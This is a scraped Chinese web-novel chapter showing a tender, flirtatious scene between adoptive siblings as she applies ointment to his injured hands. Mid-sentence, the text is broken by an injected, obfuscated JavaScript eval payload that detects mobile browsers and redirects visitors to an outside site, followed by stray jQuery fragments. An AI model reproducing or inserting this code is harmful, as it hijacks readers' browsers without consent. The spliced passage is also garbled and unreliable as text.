箫亦如 作品

43. 第四十三章:相拥上药尽显情^^……

    萧亦柔被眼前烛火晃着眼睡得不甚踏实,萧家严又迟迟不归,一直隐隐惦记着。骤然的阴影遮挡烛火,小有惊醒,并未睁眼来瞧。却感受到了微软之物,略带潮湿之气,触碰了一下眼皮。


    眼珠稍转,两个人皆有所感。


    萧家严微微撤身,呼吸近距离喷洒在萧亦柔脸上。稍凉......


    在萧家严微微离开些许后,萧亦柔睁开了眼。急忙又紧闭。


    “弄醒了你?抱歉。”萧家严轻声道。


    萧亦柔喃喃唤道:“兄长?”


    “是。”萧家严应着。眼眸却似恍惚了一瞬,那话脱口而出:“别为他哭了,他不值得。眼睛都肿了。”


    萧亦柔仿若未闻,什么都未说。


    萧家严稍有一顿,却道:“药拿回来了。”


    萧亦柔费劲力气,才勉强眯着一只眼睛,瞧了眼蹲在眼前的萧家严。


    萧家严无奈的笑笑,伸出手来隔着毯被轻拍了萧亦柔后肩两下。“睡吧。”


    萧亦柔唇角稍有蠕动,闭着却看眼睛在内转动不止,片刻后却还是再睁开眼偷瞧一眼。仍迷糊之际,伸出手去似要触那脸。依稀瞧过这衣裳,但却和记忆中穿此衣衫的面孔不同。似重叠却又更加棱角分明。


    萧家严瞧着这小手虚抬,眼眸随之而转。唇角稍带笑意,俯下身去欲将脸奉到小手之中。但还未触上,那手已垂下。萧家严见此,心中暗暗叹息,眼眸再次随手垂下,尽是失落之色。唇角也朝下去,那笑全不见了踪迹。


    未曾想,萧亦柔再次抬手,似乎是想摸衣裳上绣的两、三只错落着飞的白鹤。这衣衫外绣的白鹤突于表层,瞧着似要展飞。三鹤两大一小,形态各异。丝丝光影随烛光流转。萧亦柔的手,骤然生力,一抓那其一的白鹤。上身借力也朝着这榻沿挪动。


    “你好似要扑我怀里,嗯?”


    萧亦柔却为看清那白鹤。丝线经线兀自缠绕,在与纬线穿插一处。横纵相压,疏密相宜,触感细密却又坚韧。显白鹤格外灵仙。抬头去瞧,却还是萧家严的脸。总觉得和印象中,这身衣裳的故人脸似重叠却又更加棱角分明。


    “家严......”轻声唤着。


    “是。”萧家严再应。


    这一晚萧亦柔两次直唤名讳,萧家严并没有任何呵责之意。伸出手来将萧亦柔耳侧的发朝后拨开。


    月前萧亦柔第一次唤时,萧家严还在为萧亦严下落之事着急,丝毫未体会到这唤名的含义。只怒斥她没规矩。全不知她才经历了萧亦严被严刑逼供,自己被擒后生还的那份不安。只是在确认,这是不是萧家严而已。


    “这衣裳......”萧亦柔轻声询问,却已收回了手。


    “才在兴昌那换的。我寝衣湿透了。被雨浇得。”萧家严故意补充着。


    “这衣裳是,他的?”萧亦柔闭上眼睛呢喃着,却忽而睁开,以单膝抵着软榻,毯被下顷刻凸起一块,明显是小屁股一拱,致使身子向前蠕动。这般半个身子从本就窄的软榻侧探出来,右臂搭在榻沿,右手紧抓下头垫着的褥被。支撑着身躯,左手伸出,接着半个身子俯下去,伸手去拉这衣衫下摆。下摆一圈翠竹,细小而碎,皆不是高大如翠山那般,却颇有章法。


    萧家严笑的极甜,急忙伸手拉住萧亦柔的手,攥在自己手中。“小丫头,怎这般可爱。”


    萧亦柔眼神稍有一恍惚。“这鹤倒是蛮特别的。你以前穿过这身衣裳吗?”


    “这旁人的衣裳,我素日有衣裳,穿人家的作何。”却也低头瞧着自己现下的衣衫。偏深蓝色衣衫,胸前两只白鹤却过分惹眼,难怪会在深柜中稍比之旁的衣衫耀眼些。稍一迟疑便道:“这是从前浩然的衣裳。怎跑兴昌衣柜中去了。且,浩然不知在哪做的这衣裳。好像是什么贡坊,却不是进贡皇室的店铺。拿回来后兴昌说他穿这衣衫多少有些僭越之嫌。兴昌嘛,古板。一直言品级越高的,那衣裳上多绘花鸟。费时费力,就为了彰显权力。本就多在爹面前走动,后一桩告到爹那去了。”


    “那爹......老爷怎么说?”萧亦柔又临时改口。


    “从前才进府,唤不出口才称老爷。你怎还朝远了唤呢?”萧家严侧头去看萧亦柔的眼色。


    “那我......岂不是......”萧亦柔磕巴最后也未说出何。


    “岂不是何?”


    “僭越。旁人不知,大哥你知的呀。”萧亦柔朝着榻沿处转了转身子,恨不得整个人躲起。


    “我准你叫,不僭越。”萧家严摸了摸萧亦柔的后颈,将欲要躲起来的人重拉出来。“爹也很明辨。说,‘花色而已,无碍。朝廷也没规定无品级或者越品级的不能穿何衣。只白鹤寓寿,却也高洁,挺好。少在外穿。主要自己喜欢,就成。’”


    萧亦柔即刻追问道:“你们时常换衣裳穿吗?”


    “也不。幼时时常抢,长大后各有喜欢的款式,又都不差这银钱,便都各穿各的。”


    “可,我怎瞧着你们都是相互穿的。”萧亦柔蹙眉,仍是眼珠一存不存的瞧着这衣裳。


    “怎了?所以你再不能以衣识人了?那满篇子记的纸,便无用了?”萧家严笑着以手刮过萧亦柔鼻尖。


    “兄长怎知道嘛。”萧亦柔说着不由自主的拧动了下身子,总感觉这衣衫,熟悉又陌生。总觉得同现在萧家严的面庞,不大搭对。


    “给你换房间时就瞧见了。你记那多衣裳样式、物品,瞧着似要害人似得。我都怕有人发现了,责难你。小细作,一点脑子都不长。”萧家严颇有宠溺之色的一下下点在萧亦柔额头上。


    萧亦柔困乏的眼睛缓缓又闭上,回道:“这可无关。我那是真记不住。原那纸是大哥收起来了。我后还找呢。”


    “我收你那破烂作何。你定是忘记得藏在何处了。你还莫说,当时我仔细瞧了。你那纸上还记了这身衣裳呢。你进府那日,浩然就穿的这身。”萧家严忽而止了口。


    萧亦柔闻言,再费力的睁开眼,瞧了眼这衣裳。放在被头的手下意识紧紧抓住了被子。


    萧家严瞧见,以自己的大手盖住萧亦柔的手背。比之方才淋过雨的自己,更冰凉入骨。回头看了一眼正中碳炉。才转头与萧亦柔道:“我这屋未燃炭,你是不是冷呀?”


    “稍有些而已。”萧亦柔困得睁不开眼,缓缓又闭上。


    萧家严屈指以指骨触碰在萧亦柔面上,还有略有红色的鼻尖上。“却有点冷,鼻尖都见凉。那怎的不入里塌上睡呢?”


    良久后,萧亦柔才呢喃一句,却仿若蚊蝇。“等你。”


    “等我呢?”萧家严笑着微起身来,低头凑过去轻吻上鼻尖。唇上稍带湿润的气息。


    萧亦柔半梦半醒并无过多触感。


    随着萧家严发丝滴下水来,正滴在萧亦柔沉沉的眼皮上,萧亦柔忽而清醒些许,抬手擦掉那水,随后揉着双眼......


    萧家严也察觉,急忙撤身。去里侧屏风扯过搭着晚间沐浴的薄巾擦拭着头发。本浑身湿漉自是未觉得头发那般湿,眼下换了衣裳,这头上湿意更显。擦拭发梢后,彻底拆下高束的发,在屏风之侧擦拭着。


    萧亦柔打着哈气,微微直起身子瞧着。还是头次见他这般散下。往昔就算夜间也是高束着,白日更是带着各样式的冠。目不转睛的瞧,仿若要看进那发丝之间。


    萧家严早有察觉,微侧过身些,稍侧过头去,让萧亦柔看的毫无遮拦。唇角压抑着笑,直待发顶发丝见干,还能感觉到萧亦柔那炙热无遮瞧向自己的目光。抬眸对上,萧亦柔的脸一瞬而红,急转看向旁处。口中唤道:“哥哥,药拿回来了吗?给你抹些。”


    “好......”萧家严说着重走回,居高瞧着萧亦柔跪趴在软榻上这般睡眼惺忪的模样。手从怀中掏出药罐递出。


    萧亦柔接过还未等打开,又打个哈,其后鼻涕眼泪都被逼出来。


    萧家严笑道:“这般困乏?睡吧。”


    “不。哥都疼了那般久了......得上药。”说是这般说,却是拧着身子拿着药罐躺回了软榻上。


    萧家严本就在擦着发,见此微微扯笑道:“这般如何上药?”


    萧亦柔手背打打自己脑侧的软榻。“你坐这......”


    萧家严回手将手中薄巾一扔,正重搭在那屏风之上。而后自己几挽便重将发高束于顶。将萧亦柔半扶起,自己转身坐于榻上,而后让萧亦柔半枕在自己膝上。拨弄开发丝,宛如那双膝便是枕般。


    萧亦柔一手朝上,正拉过萧家严的手到身前。才拔出堵在瓶口的塞子,以手挖了些药出来,并未立即涂到萧家严手心之上,反朝着鼻尖送去。


    “不能吃。”萧家严急道。本就在后,瞧得不太真切。


    “闻闻味道......”萧亦柔回。


    萧家严稍红了脸,自己在萧兴昌房中洗过,手上该不会有什么味道吧。碍于左手被萧亦柔抓着,急忙先闻右手。并未闻出何古怪之味。但这小丫头向来鼻子极灵。那伙房才起了灶,生了烟出来,便能说出两道菜来。打弯了身子看去,她精于剜药,似乎也没什么反应。想来身上衣衫也换了,该是无碍。深吸一下,还是忍不住想闻下自己身上是否残留了异味。特别是萧亦柔此刻还枕在膝上。这般想着已不能直视躺在自己膝上的萧亦柔,急忙呼吸微乱的看向旁处。


    萧亦柔却全未想这些,听到萧家严忽而呼吸之声骤大。便小口的吹着伤处。


    萧家严憋了口气,看萧亦柔该是在说手。才将憋着的气缓缓吐出。


    “无事。本不用上药了。”说罢便不大在意,只任由萧亦柔拉着自己的手,将那药一点点涂在手心。但却觉得那手似乎失去了支撑,本抓在自己指尖的手越来越无力,指尖的触感也没有方才那般触感明晰。


    侧过头去瞧,萧亦柔困得将眼睛一会闭上,一会睁开。口中却还不忘送着凉风,当真可爱。白日挨打感觉她毫不在乎那些受,仿佛都不重要了。悄悄收回左手,还是“惊动”了萧亦柔。只得悄声道:“你睡吧。不上药了。”


    “不呢......”


    “那我自己来......”


    “不......”萧亦柔坚持着还是朝上伸着手。


    萧家严伸出手的同时,却忽而道:“你晚间用了进贡那乳膏。”


    “大哥怎知道?”


    “奶香奶香的。醉人。”


    “大哥......”萧亦柔给萧家严上药的手忽止,甚至两手指尖皆牢牢的抓按着萧家严的指尖上,不想萧家严再说下去。涨红着脸,转而改口道:“兄长白日痛时,就该说。这般拖着才不好。都病糊涂了,已然胡言乱语了......”


    “是呀。这伤牵连的。毕竟,我无法如你一般,未语泪先流。哭唧唧的与我言,大哥,好痛。”萧家严故意学着萧亦柔的语气玩笑。


    萧亦柔右手忽而松开萧家严的手,手肘一抬捂上了眼睛。“讨厌......”


    萧家严侧过头来,以右手手背稍蹭在萧亦柔脸颊之上。满脸宠溺之色,眼眸柔和的落于娇红面上。


    萧亦柔转头偷瞧,似才注意萧家严已重高束了发。此刻发丝垂在自己头侧,伸出手捏动一缕发丝。“大哥,还湿着呢。你为何安寝时也重束起发呢?”


    “免得某些丫头夜间调皮捣蛋的,趁夜捣鬼,抓鬼便利。不会为此误事。”萧家严瞧着萧亦柔,也转手以手背稍碰了下萧亦柔鬓侧发丝。身子更是大幅度俯下来,以手肘支撑在里,左手还展于萧亦柔眼前未动。


    萧亦柔全未细想萧家严此话,还道:“那也难怪,夜间常人就是易松懈的。要么贼人都选夜间行动呢。”一点点在萧家严左手掌心中涂着药膏,缓缓又道,“大哥,在府时我那两次梦魇你也能及时赶来也是这般缘故吧。”


    “你何止两次呀,亦柔......”


    萧亦柔听出来萧家严话语中的无奈。手中未停,仍是道:“很多次吗?难怪建章在府不让我住在你偏间了。我定是很闹人。抱歉......看来我当真忘了许多?都是我不好。以后夜间,一定乖些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836366|163175||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    ......”


    萧亦柔的话轻柔却似利剑直直扎入萧家严的心口,强撑着一丝笑容,面上丝毫未变。可心绪纷飞,不觉想起那段隐瞒了萧亦柔的记忆。发沉发哑道:“不。你只是害怕。没有不乖......很乖。上药吧。”


    萧亦柔一时也无话,可却清醒了不少。只将那膏药一遍遍涂抹在萧家严手心上,动作很慢。一点点涂得极满。反反复复迟迟不完。先涂之处早已吸收、干透,后涂之后却重再涂。


    一时宁静,静的只心跳之声越发沉重。


    萧家严左臂极近麻木,可右手还未曾被摸上一丝一毫的药膏。“哪有你这般上药的,就算要厚涂一些。也该都先盖过一层,缓一缓疼吧。我可是两个手都挨了。怎的你只顾着一头呢?”


    萧亦柔才发觉自己走了神,却不愿认。“您右手伤了,就能歇歇,少处理些公文。”


    只以为萧亦柔如自己般不愿自己离开,全没看出萧亦柔是心不在焉。方才那抹不安被压下,唇角勾起,眼眸骤然,眼角似都朝上扬起了些许。左手忽而收回,稍转臂膀缓解麻木之感。


    萧亦柔两手骤然落空,无措停于空。


    萧家严并未言语,只以左手在后托起萧亦柔的背。右臂隔着毯被半抱着腰肢,也一道裹胁着腰腹处。微微将人拉起靠近怀中。随后左手挪出,以没有沾染药的指尖借力支于榻上。右腿也微微支在榻侧,连着自己也一道朝着榻内挪动些许。改为让萧亦柔半靠在自己怀中,怀抱着她。那双手也送到萧亦柔身前,双臂也极隐晦的这般圈萧亦柔在怀。下巴抵在萧亦柔头侧,脸转而贴在萧亦柔发上。将手微微松开,两只手都摊在萧亦柔手边。


    萧亦柔双手仍是方才的动作,仿佛被冰封了一瞬。即刻清醒。双手才落在萧家严右手之侧,却忍不住转头看向萧家严。上庭饱满,浓眉大眼,那眼眸正瞧着自己,内里泛着光亮,能清晰的瞧见自己的模样。甚至......明明未笑,却在那眼眸中瞧出了淡淡的笑意。瞬而往下看去,高鼻唇也薄,特别距离这般近。这般瞧来时间并不长,可奈转回头后,心止不住的剧烈跳动难以平复。微靠在他怀中感觉那背后都发热,却好像瞬而无有力气,忍不住想靠的更实些。意图涂药的手先是胡乱的抓在萧家严右手上,而后才找准位置,挖药涂抹,行动格外缓慢。一颗心都要跳出。


    “大.......大哥,兄长。我们......”


    “嗯?”萧家严微微歪着头应着,整个上身彻底包裹着萧亦柔的身躯,下巴抵在萧亦柔肩头,头微转过来瞧着萧亦柔大半张脸。


    “我们是不是,过于,亲密了。我......”要喘不上气了。萧亦柔并未说出口,因话早已说不利索。只觉得心口突突的跳动的厉害。这样仿佛比方才自己坐在他怀中还要亲密。不对,现在也是靠坐在他怀里。只是侧靠在怀,自己坐在榻上,并未再坐他腿中。似乎没有方才离得近......


    “没觉得呀。亲兄妹尚能这般坐,而且我们也不是亲兄妹。你同浩然以前,总这般......”萧家严说完,略显得落寞。将额头彻底抵在萧亦柔肩头。稍蹭在萧亦柔发丝之间,妄想埋得更深。


    “好痒......”萧亦柔下意识缩着肩头,右手虚抬摸了一下萧家严的脸。


    可待去寻那手的柔软之际,萧亦柔早已收手。空留脸侧酥酥麻麻之感,仿若方才并未触碰上那脸侧。引得萧家严将脸彻底埋进脖颈处。那处早没有发丝阻挡,萧家严将脸侧稍刮过萧亦柔领口寝衣处。妄图以寝衣柔软的触感代替萧亦柔方才那手的触感。却难免感觉心中空唠唠的......只恨不得将脸整个迈进萧亦柔脖颈处。


    原来自己从来就很在意他二人亲近,一直很在意。唐家的说极对,自己很怕萧亦柔想起萧浩然。所以瞒着,所以喂药......打着怕亦柔伤心的旗号,不准萧府再提起萧浩然。只道他与萧正硕一道去了凌洲求学。连萧正硕寄来的书信也未给萧亦柔瞧过一眼。


    “你说何?”萧家严回过神来,没听清萧亦柔的话。


    萧亦柔支吾着说:“您把头转过去。”


    “转哪去呀?为何转?”萧家严说着稍微支起些身子,还欲再问清些时,只听萧亦柔轻柔柔的话回道,“您......侧颜太俊了。受不住。心慌得厉害。”


    萧家严闻言稍舔唇来,笑的无声。更是将已经上好药的左手收回,手臂半搭在萧亦柔左肩,身子大幅度的侧过来瞧着萧亦柔。


    “正脸呢,不俊?”


    “也俊......您,转过去,别瞧我。”


    “不瞧你瞧谁呀?你长得这般美......”萧家严说着眼眸中越发溢出光彩。


    “我不美......”萧亦柔十分羞涩的想转过头去。


    “怎的不美?很美。”萧家严用左手指背稍触萧亦柔脸上,令其转回重看向自己。“且,我这般抱着你呢,哪也转不了。要不......我到你对面来,你给我上药?”


    “那就......这般吧。”萧亦柔感觉是似说得勉强,却羞赧的重拉过萧家严的右手,抹上药。


    时间说快不快,说慢不慢。待手心已涂满膏药之时,萧亦柔还是将那手尖搭在萧家严手心之上,低着头悄声问:“哥哥,我真的好看吗?”


    “我瞧瞧。”萧家严说着收回右手。却是那手就势以食指勾起萧亦柔的面庞转向自己。似在细瞧一般,拇指指肚至左而右微微划过。而后郑重点头。“这俏生生小脸,明艳的眸光,这唇.......哪哪都这般秀气。真好看,鼻子还这般高挺。怪不得误会你是小妹了呢。这鼻子生的真俊。让这小脸这般协调......”萧家严说着那手微微向上,三指轻捏在萧亦柔脸上,以无名指、小指相托。


    “哥哥,你给药抹到我脸上了。”萧亦柔说着抬手推掉萧家严的手。低下头去,羞涩的闭上眼睛不敢再去看近在身旁的萧家严,以手背去擦脸侧的乳白药膏。


    萧家严忽而问:“素远俊吗?我与素远,你觉得谁更俊些?”